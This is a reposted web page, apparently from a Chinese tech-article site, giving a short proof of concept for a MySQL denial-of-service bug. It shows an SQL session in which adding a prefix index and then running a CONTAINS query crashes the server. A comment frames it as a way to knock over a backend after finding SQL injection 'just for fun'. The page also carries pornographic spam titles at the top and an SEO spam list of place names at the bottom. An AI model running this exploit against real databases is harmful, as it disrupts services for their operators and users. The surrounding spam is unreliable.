国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

mysql 5.0.45 (修改)拒絕服務漏洞

2020-01-19 00:14:23
字體:
來源:轉載
供稿:網友
mysql 5.0.45 (修改)拒絕服務漏洞
/*
* MySQL <=6.0 possibly affected
* Kristian Erik Hermansen
* Credit: Joe Gallo
* You must have Alter permissions to exploit this bug!
* Scenario: You found SQL injection, but you want to punch backend server
* in the nuts just for fun. Start with the Alter TABLE statement on
* a table and field you know to exist. The first two SQL statements are
* simply to demostrate reproducibility...
*/

<snip>
mysql> Create TABLE `test` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
`foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
Empty set

mysql> Alter TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0 Duplicates: 0 Warnings: 0

mysql> Select * FROM test Where CONTAINS(foo, ''bar'');
ERROR 2013 : Lost connection to MySQL server during query
</snip>
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 常州市| 湟中县| 望江县| 杂多县| 镇巴县| 湖口县| 林芝县| 河西区| 曲麻莱县| 张家口市| 武宁县| 固始县| 电白县| 新津县| 新乡县| 怀化市| 郴州市| 寻乌县| 上犹县| 金平| 广东省| 兰州市| 长葛市| 玛纳斯县| 固始县| 泾川县| 怀来县| 洛阳市| 工布江达县| 炎陵县| 绥江县| 芷江| 韩城市| 偃师市| 昭苏县| 盈江县| 潜山县| 铜梁县| 红河县| 双桥区| 文登市|